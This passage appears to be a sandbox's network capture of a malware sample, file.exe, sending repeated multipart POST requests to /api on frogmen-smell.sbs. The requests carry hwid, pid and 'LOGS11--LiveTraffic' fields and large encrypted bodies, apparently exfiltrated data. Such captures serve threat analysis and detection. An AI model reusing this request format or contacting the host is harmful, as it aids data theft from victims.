2024-11-16 03:33:08 UTC	1018	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 03:33:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=86p2o9je0bp0bivqibq8vaq3t4; expires=Tue, 11-Mar-2025 21:19:47 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=M3hQkRIG4Ez8LYGClEPMHZVX7oBbSKFvR4XPu1qAyQ51CFHvxHSO0ULeJ4eSDK8s4b4YlMNadKlREr6L0pCjnZFY1EeIy%2BadfGbQRTF3Z7XeePz%2F3v%2FjbBYUw4xcOgkPGozPuA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e346af4af9d4793-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=984&sent=11&recv=23&lost=0&retrans=0&sent_bytes=2845&recv_bytes=19132&delivery_rate=2669124&cwnd=251&unsent_bytes=0&cid=60c8c12ebc0e9d4e&ts=839&x=0"
2024-11-16 03:33:08 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 36 39 0d 0a Data Ascii: 11ok 173.254.250.69
2024-11-16 03:33:08 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49733	104.21.80.55	443	7416	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-16 03:33:09 UTC	278	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=NPGNYOR0SUTFPG User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8766 Host: frogmen-smell.sbs
2024-11-16 03:33:09 UTC	8766	OUT	Data Raw: 2d 2d 4e 50 47 4e 59 4f 52 30 53 55 54 46 50 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 31 44 43 43 43 46 38 46 46 34 46 45 43 36 36 37 46 37 30 30 35 44 37 42 32 30 31 32 37 41 38 38 0d 0a 2d 2d 4e 50 47 4e 59 4f 52 30 53 55 54 46 50 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 4e 50 47 4e 59 4f 52 30 53 55 54 46 50 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 0d 0a 2d 2d 4e 50 Data Ascii: --NPGNYOR0SUTFPGContent-Disposition: form-data; name="hwid"1DCCCF8FF4FEC667F7005D7B20127A88--NPGNYOR0SUTFPGContent-Disposition: form-data; name="pid"2--NPGNYOR0SUTFPGContent-Disposition: form-data; name="lid"LOGS11--LiveTraffic--NP
2024-11-16 03:33:10 UTC	1017	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 03:33:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=q7vdinbekq0oddafcdtdgdir0n; expires=Tue, 11-Mar-2025 21:19:48 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=p0btIGIHj8ifhdVbITF1QGqrXtFCzlUyiyRwwMewzDFxq4fm5BHzjmbNZ9hXTeo3YZt0wwVDZwramXsryiz84khRVhaAFWJAZ9j%2FcBy5ML3ImxIzlay%2FMXhftf%2F53kVchadytg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e346afe4c152fd0-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1287&sent=7&recv=15&lost=0&retrans=0&sent_bytes=2845&recv_bytes=9702&delivery_rate=2124724&cwnd=251&unsent_bytes=0&cid=945393e7ea8f44f5&ts=682&x=0"
2024-11-16 03:33:10 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 36 39 0d 0a Data Ascii: 11ok 173.254.250.69
2024-11-16 03:33:10 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49734	104.21.80.55	443	7416	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-16 03:33:10 UTC	276	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=2H9BZUMAFRN User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20401 Host: frogmen-smell.sbs
2024-11-16 03:33:10 UTC	15331	OUT	Data Raw: 2d 2d 32 48 39 42 5a 55 4d 41 46 52 4e 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 31 44 43 43 43 46 38 46 46 34 46 45 43 36 36 37 46 37 30 30 35 44 37 42 32 30 31 32 37 41 38 38 0d 0a 2d 2d 32 48 39 42 5a 55 4d 41 46 52 4e 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 32 48 39 42 5a 55 4d 41 46 52 4e 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 0d 0a 2d 2d 32 48 39 42 5a 55 4d 41 46 52 4e Data Ascii: --2H9BZUMAFRNContent-Disposition: form-data; name="hwid"1DCCCF8FF4FEC667F7005D7B20127A88--2H9BZUMAFRNContent-Disposition: form-data; name="pid"3--2H9BZUMAFRNContent-Disposition: form-data; name="lid"LOGS11--LiveTraffic--2H9BZUMAFRN
2024-11-16 03:33:10 UTC	5070	OUT	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6c 72 83 51 b0 b0 e9 a7 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 4d 6e 20 0a 16 36 fd 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 c9 0d 46 c1 c2 a6 9f 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 36 b9 81 28 58 d8 f4 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 26 37 18 05 0b 9b 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 e4 06 a2 60 61 d3 4f 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: lrQMn 64F6(X&7~`aO
2024-11-16 03:33:11 UTC	1029	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 03:33:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=si74cogqqcn3gt5iq53b77jg83; expires=Tue, 11-Mar-2025 21:19:50 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=MjGg%2FQaPOp%2F%2BRy7AIPSIO35R1b2l56pizxQD3aGrJFvzw7jXmrg9f7W5Y7SesPBtpniJrFf3W4ZmG6n%2FO5lUwzIjVluXnZ7%2Bwq5BhO7%2BiP1W%2FhdmC0cartmVCFAxq1ff%2BtPbIQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e346b078d154632-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1188&sent=12&recv=25&lost=0&retrans=0&sent_bytes=2846&recv_bytes=21357&delivery_rate=2333601&cwnd=242&unsent_bytes=0&cid=6196a8dd47234886&ts=718&x=0"
2024-11-16 03:33:11 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 36 39 0d 0a Data Ascii: 11ok 173.254.250.69
2024-11-16 03:33:11 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49735	104.21.80.55	443	7416	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-16 03:33:12 UTC	279	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=ANYBGEPP2V1E8X7 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1252 Host: frogmen-smell.sbs
2024-11-16 03:33:12 UTC	1252	OUT	Data Raw: 2d 2d 41 4e 59 42 47 45 50 50 32 56 31 45 38 58 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 31 44 43 43 43 46 38 46 46 34 46 45 43 36 36 37 46 37 30 30 35 44 37 42 32 30 31 32 37 41 38 38 0d 0a 2d 2d 41 4e 59 42 47 45 50 50 32 56 31 45 38 58 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 41 4e 59 42 47 45 50 50 32 56 31 45 38 58 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 0d 0a 2d Data Ascii: --ANYBGEPP2V1E8X7Content-Disposition: form-data; name="hwid"1DCCCF8FF4FEC667F7005D7B20127A88--ANYBGEPP2V1E8X7Content-Disposition: form-data; name="pid"1--ANYBGEPP2V1E8X7Content-Disposition: form-data; name="lid"LOGS11--LiveTraffic-
2024-11-16 03:33:13 UTC	1018	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 03:33:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=n0fb46p07p3mha3ofn82oorr60; expires=Tue, 11-Mar-2025 21:19:52 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=sFvmbbVXdFH26SK5ETV%2F%2BMS2Ul%2F0kg2jYQVstLCUbZM5uXFuigMBOI88mccWYUmeQpmk%2FZPemqB05GXdS8AT83uKKyao8wLKjXzwG1KHV5OAThWLBMXaVcLbDAiGet2gDvZGxA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e346b1228562e72-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1868&sent=5&recv=8&lost=0&retrans=0&sent_bytes=2845&recv_bytes=2167&delivery_rate=1538788&cwnd=222&unsent_bytes=0&cid=1e7912e8c88f74b9&ts=767&x=0"
2024-11-16 03:33:13 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 36 39 0d 0a Data Ascii: 11ok 173.254.250.69
2024-11-16 03:33:13 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49736	104.21.80.55	443	7416	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-16 03:33:14 UTC	285	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=DMFDR5XI4H070DATUY6 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 570076 Host: frogmen-smell.sbs
2024-11-16 03:33:14 UTC	15331	OUT	Data Raw: 2d 2d 44 4d 46 44 52 35 58 49 34 48 30 37 30 44 41 54 55 59 36 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 31 44 43 43 43 46 38 46 46 34 46 45 43 36 36 37 46 37 30 30 35 44 37 42 32 30 31 32 37 41 38 38 0d 0a 2d 2d 44 4d 46 44 52 35 58 49 34 48 30 37 30 44 41 54 55 59 36 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 44 4d 46 44 52 35 58 49 34 48 30 37 30 44 41 54 55 59 36 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 Data Ascii: --DMFDR5XI4H070DATUY6Content-Disposition: form-data; name="hwid"1DCCCF8FF4FEC667F7005D7B20127A88--DMFDR5XI4H070DATUY6Content-Disposition: form-data; name="pid"1--DMFDR5XI4H070DATUY6Content-Disposition: form-data; name="lid"LOGS11--Li
2024-11-16 03:33:14 UTC	15331	OUT	Data Raw: 88 43 a6 91 14 f9 f4 32 70 6e f7 91 49 83 68 40 52 61 aa 6d df d9 d4 91 1b bf 39 9b 58 08 e4 f9 41 a9 e3 e8 ed 53 e5 25 67 0f 62 9e 67 98 3b 02 7f 09 ba c1 fb f8 fc b8 1f 72 18 1f 70 73 48 67 02 50 98 52 9f f5 2d 51 a1 cb d7 66 7a 21 22 92 cf 1b 19 c5 82 cb 0d 64 48 ee 06 7a 49 5d 69 f2 3c a9 87 00 8e 6c 64 0b d6 88 26 47 38 28 57 86 07 24 18 df 29 8d bc 6d 38 e8 0c d9 29 cd 65 b7 d9 e4 a2 c7 dd 85 9e c6 6e b4 43 51 2d 4c 39 ee 15 d1 bf 4f 37 0e 06 c1 9e b0 bb e7 cc c1 f4 da d2 fa 70 3e b4 8e 84 79 48 9a 6d c7 c5 28 8e db db 29 f4 88 55 25 3f bb 62 d3 1c f1 25 e0 9b 88 d3 08 65 62 fd e3 0d f4 21 bd e7 a7 e2 4d 62 b7 ef 0a 92 5a 74 05 35 fe 6a ea 65 48 bb be 6f fc 80 5d 97 e1 37 75 b9 89 0f 91 7b be 48 8f f0 1d 88 f6 88 25 5e 36 cf 2a 04 05 66 fc 26 81 17 Data Ascii: C2pnIh@Ram9XAS%gbg;rpsHgPR-Qfz!"dHzI]i<ld&G8(W$)m8)enCQ-L9O7p>yHm()U%?b%eb!MbZt5jeHo]7u{H%^6*f&
2024-11-16 03:33:14 UTC	15331	OUT	Data Raw: c8 36 67 37 e8 59 65 5e b2 09 bd ae 96 f0 4b 75 3f 72 d1 4b da 4b 91 5a 7f 47 31 cb fb 59 4e ab ba ed 48 6c 77 77 ba 5a 37 8d 3b 2d 64 bb eb 59 f5 b4 40 a7 93 da f5 6a ba d5 69 cb fe 60 2f e3 74 83 3c a1 9a fb e8 db 95 86 92 f9 aa bb 5d 79 df 1e 31 a6 45 63 4a 51 ae c9 6a 4f ed 67 fd e6 89 9e 6c 08 3a 08 f4 69 ba 32 ee f1 6d 36 29 c7 31 be 96 1d 5c 4c 50 49 43 90 d3 f6 8b 99 96 f7 d0 7c 65 63 9e 08 e6 2d a6 4e 3c a0 27 eb 8e 9d 9c d8 a5 85 86 d1 84 10 fd 36 4c 79 13 39 fb 83 0e e1 dd e6 55 86 be 7b 9a 18 2f ea 1d 4f ff a1 68 78 85 f6 a8 9c bd 3c d8 6d 13 22 47 92 3a 40 70 33 f1 a1 c8 cb c9 86 44 2d bd 35 3d 21 1d aa 63 d7 aa 8b e7 3f 29 bf d7 63 3b 47 b1 b5 99 77 5c 4f b2 fd 1e 9d cc 77 4f d1 7c 82 38 5e 88 44 43 7c db 94 13 e1 7c 02 ab 72 5d 0b 02 bb 6b Data Ascii: 6g7Ye^Ku?rKKZG1YNHlwwZ7;-dY@ji`/t<]y1EcJQjOgl:i2m6)1\LPIC\|ec-N<'6Ly9U{/Ohx<m"G:@p3D-5=!c?)c;Gw\OwO\|8^DC\|\|r]k
2024-11-16 03:33:14 UTC	15331	OUT	Data Raw: 9e 12 64 bf e7 66 ca ec 11 19 ee ea bb e2 33 37 dd 5d 50 75 fd f1 06 bd e0 ec e8 d0 b6 d3 1b db 69 87 ce ac c5 99 bd b5 3e bb 07 c1 bc e6 23 7a 41 4c 01 24 db 3a cf e5 99 22 4d 7f 02 7a 0f 81 fa 0e 50 5a d7 66 2c 18 d7 58 ee 7b 01 65 3b 8e 3b a8 e9 56 df 45 30 cd 82 9b 34 32 01 a4 6a d7 9e fc 48 a0 77 ef 6b 26 13 11 2c 7b f5 7f 07 51 c5 90 a5 22 28 93 58 68 72 cb bb 12 a0 24 13 bd 07 09 f5 65 60 0c bb 01 bd 90 f7 01 0d 0c 76 80 5b 91 24 0c 94 74 6e 30 1b de 76 ad 9a 9a b8 62 60 df 21 b3 f8 99 91 1d 0b 61 56 e3 aa b4 f7 41 da dc 36 4b 42 cb 1a 6a 1a fe 76 50 29 3a 57 97 2e bc 5a 02 5a 8d d1 87 22 07 23 15 d0 ef 18 3a 42 00 b1 08 04 5b 54 17 6d a9 e8 b3 ae 87 c8 05 87 52 29 f6 5e eb 5d 0a 34 c5 b5 53 2b 6a e7 fa a2 d2 57 e4 36 b8 40 20 4a 8b 9f 23 2f 5c ba Data Ascii: df37]Pui>#zAL$:"MzPZf,X{e;;VE042jHwk&,{Q"(Xhr$e`v[$tn0vb`!aVA6KBjvP):W.ZZ"#:B[TmR)^]4S+jW6@ J#/\
2024-11-16 03:33:14 UTC	15331	OUT	Data Raw: ac 13 f9 a9 55 8c 7c aa 08 6e 58 ec 3d ab 9f 0c a5 a4 8f af 4f 3d c2 e0 1c b1 39 5b 5b 48 0f 22 bd d5 6d 71 60 f7 fa f7 32 1d a5 c8 f7 9f 34 d0 60 50 24 66 8a 69 4d 0b 52 25 aa 44 25 2e 5f 12 8e af 40 c8 2c 4f 98 92 67 65 b5 1e ce 36 1a b8 5b 9a 7d 7b 10 71 bd 33 ad 30 f7 64 cc 0f 8f 82 ed bd 9e d3 0e b9 95 37 98 38 7a 90 c8 19 e0 b8 0d 2b 39 96 f5 20 94 2e ee 98 5b 75 1a fe dc 2a 31 c6 26 a9 b1 6a c5 f2 ba 43 55 68 28 e6 c6 19 dc 7f 16 d5 1f 79 19 e4 24 a4 97 e4 60 90 ea f8 c5 4a 07 57 c8 78 81 59 ca 7b a0 8f 31 b1 f1 c8 99 b3 82 ff be 41 57 1a fb e2 90 bd 17 4f b2 75 62 9a 34 a5 fa cb bb c8 40 c8 a7 9e de 82 fc 25 cb aa 9b dd 36 53 2d b2 8a 5b 92 46 5e 35 cf b1 34 9f e2 b6 cd 6a 47 8a ee 8a bd 60 5c 94 b2 99 98 38 7b b3 fb 9a 15 9c 9a 06 7e 25 e5 25 55 Data Ascii: U\|nX=O=9[[H"mq`24`P$fiMR%D%._@,Oge6[}{q30d78z+9 .[u*1&jCUh(y$`JWxY{1AWOub4@%6S-[F^54jG`\8{~%%U
2024-11-16 03:33:14 UTC	15331	OUT	Data Raw: d2 1a ee 4a 49 a3 24 f5 7e df 7a b6 a1 37 d8 9e 71 a7 a4 b6 02 90 2a d6 71 e8 e5 27 6d 36 e1 2a 69 d4 4e a5 1c f1 8b 9a 5c 1c 44 9a e2 0e eb aa 66 44 07 d6 18 86 35 fc 42 16 c8 4f 05 ba e8 8f fd 51 3f b9 47 bb ad e8 fc d7 dc b4 95 c2 05 71 02 f8 e5 d0 5a 8b 86 38 01 4e f1 19 59 8a d2 41 c9 2e 65 28 ed 71 a0 b7 b3 4b 93 40 d3 e2 64 77 11 1e ff b6 1a e9 fb 8a a4 0a 7e 43 4a 9b 11 b0 d4 69 6b e1 b9 79 3a 38 45 05 36 b4 42 60 e4 3b d1 82 68 56 27 55 b6 f4 36 40 9a 02 5a b6 83 28 c0 5e 2a c8 e6 ad 6b 27 12 80 ec 66 25 ef 91 1a 05 5c af f7 be 53 41 5f 66 fb b1 38 90 f2 28 3c a4 e9 51 f8 25 c0 cc da 0d 1e ca 32 b5 8b 64 ff e7 34 95 41 06 20 3f c9 33 4e 5a d0 c5 14 50 0f 3c 39 1f aa f3 4c 29 e7 f2 d6 33 3a 85 df a4 ca 74 af d1 42 f5 ed 1b 45 58 ef 23 61 fc ec eb Data Ascii: JI$~z7qq'm6iN\DfD5BOQ?GqZ8NYA.e(qK@dw~CJiky:8E6B`;hV'U6@Z(^*k'f%\SA_f8(<Q%2d4A ?3NZP<9L)3:tBEX#a
2024-11-16 03:33:14 UTC	15331	OUT	Data Raw: e7 13 95 14 99 3b 80 cf b9 a4 1d 4d 92 aa 51 f9 f5 3d 33 c3 7f f4 b8 13 f7 d4 3e ff cf 42 8b ca a0 e1 88 c5 9b fd 83 10 a3 10 20 cd 8b 03 d1 5d 19 83 16 18 b8 b2 18 20 c1 e0 ad 8f 20 16 03 87 d6 56 6b 01 1c bd 2b 52 91 29 74 b5 1f d8 66 ba 58 57 02 d2 a3 68 b8 42 19 1d 7d 79 52 8a 7d 40 eb b6 41 ce d7 9f 78 1f 6c cc 28 d6 fd 68 61 f4 e6 1e ab 7b 7c 56 80 ec 79 96 2c 3c 2e be fe f9 3c ec e5 e6 bd 91 ba 91 aa 96 98 6f 62 8c 54 79 e5 84 49 e9 d4 95 d5 43 64 17 6b 41 20 c7 7f 5d 60 5a 8d a9 86 8f 3a 4f f1 52 2f 46 e5 aa db 0e 29 a7 85 ab 22 96 00 2b dd 71 60 8b 0e 3a 1c 50 41 48 77 97 7f 8b f8 d2 c6 be d5 44 b8 b5 02 89 6d 73 e8 78 5a 5b eb 9f 07 e7 a8 51 d4 a3 2d dd ca f7 66 de d4 89 51 08 15 b8 12 0d cc cf 5a 31 2f cc 4a be f9 6e 0e cc c0 39 b2 f3 df 9e 48 Data Ascii: ;MQ=3>B ] Vk+R)tfXWhB}yR}@Axl(ha{\|Vy,<.<obTyICdkA ]`Z:OR/F)"+q`:PAHwDmsxZ[Q-fQZ1/Jn9H
2024-11-16 03:33:14 UTC	15331	OUT	Data Raw: e3 d4 07 bb 26 11 bb e0 a3 d9 d8 82 5c d6 11 0c 03 44 e5 63 4b f7 59 30 ab 44 0d 4c d4 52 9a 4e d2 95 cf ab 95 61 18 99 9b e9 0f 50 d6 d2 b9 92 e3 cd 41 ab e7 72 db 4f 11 fe e9 d8 f8 d4 42 08 c6 54 4f c2 23 44 55 96 10 68 75 4e e2 b5 fc 48 08 74 df c1 6b de 96 ee 3d cf 4d 67 d9 79 c3 3f e5 3e 34 11 dd a2 d1 37 67 84 90 16 63 4b 09 5e 3d b7 47 19 52 7e d8 c8 08 cf d8 6b 3d a5 2c 6c 26 b1 b1 14 8e 61 18 7d 4a 05 69 b4 14 4d 13 bf d5 c7 0e f6 9d 92 6b e7 40 21 e8 ae 87 5a 95 a0 eb 21 77 95 99 59 c9 bc 9f ae 5e ad d5 c7 1e 39 20 71 47 41 5a 8a 3f 19 c3 38 dc e2 eb cd ef fe 66 95 d1 be de 6d 56 18 21 28 a0 01 2a 3b 8e 62 fe b8 2a 58 8d bc c8 f0 24 4b 09 ca 85 1b 86 8a 9b dc 5f df a3 0b 01 07 74 d8 c7 e3 94 23 57 1f 44 3c c0 e2 d2 b3 5c 8f 85 85 a6 74 e8 d1 33 Data Ascii: &\DcKY0DLRNaPArOBTO#DUhuNHtk=Mgy?>47gcK^=GR~k=,l&a}JiMk@!Z!wY^9 qGAZ?8fmV!(;bX$K_t#WD<\t3
2024-11-16 03:33:14 UTC	15331	OUT	Data Raw: 1e 30 a5 2d ea f9 b4 5c 8f 00 b5 1e 08 62 ba b9 0f 02 c1 8b bd 32 c4 34 52 ea 1f ee 89 78 24 13 cb c2 24 fa ce a9 c8 1c 4b 72 34 53 2e 11 c4 7c c1 17 6b db 77 de 39 c7 b4 f8 82 14 d1 24 78 8f ba ba 26 45 2a 40 7b c6 26 5d a9 39 33 98 f3 a5 d7 7d 76 e3 d3 b9 e8 01 a1 e2 08 09 e2 95 70 dc a8 fe ff eb 47 90 cb e0 5e 50 ac 51 74 33 a2 ea 71 29 32 0a 76 42 14 0c f3 9b 17 1d 68 cf 0e c8 27 d4 43 ac 95 73 d0 da f3 77 3e 47 7f 13 82 34 70 07 a0 66 52 db cd 51 f5 49 bc e6 cf 9c f2 b0 a3 19 62 06 d7 ff 7d e0 1f f4 c5 c5 7f ed 76 e8 50 06 39 e5 c0 6a 6e 17 aa 39 ef 4e ef cb c9 96 e0 31 e3 c3 5a 61 0d f5 3b 27 5e 2d 41 ac 9b 86 21 18 c6 68 78 78 0b 28 5b cb fa 21 0d 66 a2 ff cf 71 1e ca 8b 05 8b 76 10 f5 86 29 cc ca e3 f3 c2 88 1d 82 fc 2b 89 23 b6 3a e0 75 54 32 34 Data Ascii: 0-\b24Rx$$Kr4S.\|kw9$x&E*@{&]93}vpG^PQt3q)2vBh'Csw>G4pfRQIb}vP9jn9N1Za;'^-A!hxx([!fqv)+#:uT24
2024-11-16 03:33:14 UTC	15331	OUT	Data Raw: 21 80 c9 9b a0 83 85 80 65 31 b8 e2 f2 68 ec ab 0d 75 b7 b0 6c 43 d0 ff c2 bf f9 c1 cf df 3d 1f 9e 58 07 02 6f cb f8 ef 7a 17 b6 3e d1 07 51 43 41 46 ea 20 c3 42 ba ef 6e af 56 9f 25 35 cc cd 8f ff d8 52 dc d9 8d 62 bf 59 5c 03 25 2e d9 80 9e 76 3a 23 cc 0d 09 fd e8 2d 3b 93 05 ef 2f 9d 7b 66 70 e2 dd 57 b4 f2 e5 1f a9 3a d2 7f 0c fe cd 39 9e c1 9c b5 ee cb f7 16 35 65 a9 ef ee 67 a6 66 47 8a c7 4d 3f d2 d9 c1 b7 ce e9 e2 1c a9 3c 13 58 f9 4c 19 cc a8 a1 e3 ef 1d 58 cb 4e 72 de 59 69 f4 d3 96 7c dc 89 d5 f3 a1 f8 d3 25 a4 eb 3a f0 7c 33 34 59 29 fe 50 1e f4 7e 82 3c d0 7c 1d b1 a5 d4 35 33 e3 ec db 62 a6 de 0a 25 73 74 4f 33 c7 bb 48 9a 18 f1 79 e1 a2 47 96 d0 af 36 31 30 45 ed ab 28 33 e7 be 32 7d 78 e6 7c 11 3a 31 1f 90 f7 94 f3 92 88 59 80 a0 47 aa 82 Data Ascii: !e1hulC=Xoz>QCAF BnV%5RbY\%.v:#-;/{fpW:95egfGM?<XLXNrYi\|%:\|34Y)P~<\|53b%stO3HyG610E(32}x\|:1YG
